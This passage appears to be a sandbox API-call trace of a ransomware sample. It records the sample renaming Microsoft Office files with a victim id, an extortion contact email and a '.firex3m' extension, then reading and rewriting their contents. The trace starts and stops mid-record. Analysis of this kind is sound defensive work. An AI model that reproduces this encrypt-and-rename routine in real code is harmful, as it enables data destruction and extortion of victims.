Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1087\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0179.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0179.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5580 [0179.527] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0179.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1087\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0179.528] GetProcessHeap () returned 0x630000 [0179.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x745e930 [0179.528] GetProcessHeap () returned 0x630000 [0179.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0179.529] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.529] ReadFile (in: hFile=0x6a0, lpBuffer=0x745e930, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745e930*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.442] GetProcessHeap () returned 0x630000 [0187.442] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0187.442] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.442] WriteFile (in: hFile=0x6a0, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.443] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.443] WriteFile (in: hFile=0x6a0, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.443] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.443] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.443] CloseHandle (hObject=0x6a0) returned 1 [0187.444] GetProcessHeap () returned 0x630000 [0187.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0187.444] GetProcessHeap () returned 0x630000 [0187.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745e930 | out: hHeap=0x630000) returned 1 [0187.444] GetProcessHeap () returned 0x630000 [0187.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0187.444] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x35abdacd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11c84, dwReserved0=0xcbc7496, dwReserved1=0x745e928, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d53c0 [0187.444] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0187.444] Sleep (dwMilliseconds=0x1) [0189.415] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF", len=0x49 | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF") returned 1 [0189.415] GetProcessHeap () returned 0x630000 [0189.415] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2988) returned 0x707d3d0 [0189.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0189.416] CloseHandle (hObject=0x4e0) returned 1 [0189.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR8F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR8~1.FIR")) returned 0x6d5340 [0189.418] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0189.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0189.419] GetProcessHeap () returned 0x630000 [0189.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x7453500 [0189.419] GetProcessHeap () returned 0x630000 [0189.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x7145648 [0189.419] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.419] ReadFile (in: hFile=0x4e0, lpBuffer=0x7453500, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453500*, lpNumberOfBytesRead=0x393ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0191.713] GetProcessHeap () returned 0x630000 [0191.713] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0191.713] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.713] WriteFile (in: hFile=0x4e0, lpBuffer=0x7145648*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7145648*, lpNumberOfBytesWritten=0x393ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0191.713] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.713] WriteFile (in: hFile=0x4e0, lpBuffer=0x7148387*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7148387*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.713] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.714] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.714] CloseHandle (hObject=0x4e0) returned 1 [0191.714] GetProcessHeap () returned 0x630000 [0191.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7145648 | out: hHeap=0x630000) returned 1 [0191.714] GetProcessHeap () returned 0x630000 [0191.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453500 | out: hHeap=0x630000) returned 1 [0191.714] GetProcessHeap () returned 0x630000 [0191.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0191.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3838bfac, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d78, dwReserved0=0xcbc7496, dwReserved1=0x74534f8, cFileName="ZPDIR8F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR8~1.FIR")) returned 0x6d4ec0 [0191.714] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0191.714] Sleep (dwMilliseconds=0x1) [0192.913] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", len=0x4c | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx") returned 1 [0192.913] GetProcessHeap () returned 0x630000 [0192.913] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47e4) returned 0x7133a90 [0192.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0193.571] CloseHandle (hObject=0x6f8) returned 1 [0193.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb714a07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x6d, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~1.FIR")) returned 0x6d4e40 [0200.310] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0200.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0200.311] GetProcessHeap () returned 0x630000 [0200.311] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f76480 [0200.311] GetProcessHeap () returned 0x630000 [0200.311] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f818b0 [0200.312] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.312] ReadFile (in: hFile=0x6f8, lpBuffer=0x6f76480, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f76480*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.681] GetProcessHeap () returned 0x630000 [0208.681] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0208.681] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.681] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f818b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f818b0*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.682] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.682] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f8ccaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8ccaf*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.685] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.685] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.685] CloseHandle (hObject=0x6f8) returned 1 [0208.685] GetProcessHeap () returned 0x630000 [0208.685] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f818b0 | out: hHeap=0x630000) returned 1 [0208.692] GetProcessHeap () returned 0x630000 [0208.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f76480 | out: hHeap=0x630000) returned 1 [0208.693] GetProcessHeap () returned 0x630000 [0208.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0208.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4256161b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12543c, dwReserved0=0xcbc7496, dwReserved1=0x6f76478, cFileName="ClassicPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~1.FIR")) returned 0x6d5280 [0208.693] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0208.693] Sleep (dwMilliseconds=0x1) [0208.699] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF", len=0x6c | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF") returned 1 [0208.699] GetProcessHeap () returned 0x630000 [0208.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4d3c) returned 0x6fe4288 [0208.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0208.701] CloseHandle (hObject=0x6f8) returned 1 [0208.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0208.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0208.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0xff00b748, dwReserved1=0x74006e, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f00 [0208.707] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0208.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0208.707] GetProcessHeap () returned 0x630000 [0208.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x7276e28 [0208.708] GetProcessHeap () returned 0x630000 [0208.708] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x581) returned 0x7279c68 [0208.708] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.708] ReadFile (in: hFile=0x6f8, lpBuffer=0x7276e28, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7276e28*, lpNumberOfBytesRead=0x393ff0c*=0x560, lpOverlapped=0x0) returned 1 [0208.843] GetProcessHeap () returned 0x630000 [0208.843] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0208.843] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.843] WriteFile (in: hFile=0x6f8, lpBuffer=0x7279c68*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7279c68*, lpNumberOfBytesWritten=0x393ff0c*=0x560, lpOverlapped=0x0) returned 1 [0208.843] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.843] WriteFile (in: hFile=0x6f8, lpBuffer=0x727a1c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727a1c7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.843] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.843] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.843] CloseHandle (hObject=0x6f8) returned 1 [0208.844] GetProcessHeap () returned 0x630000 [0208.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7279c68 | out: hHeap=0x630000) returned 1 [0208.844] GetProcessHeap () returned 0x630000 [0208.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7276e28 | out: hHeap=0x630000) returned 1 [0208.844] GetProcessHeap () returned 0x630000 [0208.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0208.844] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.844] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, 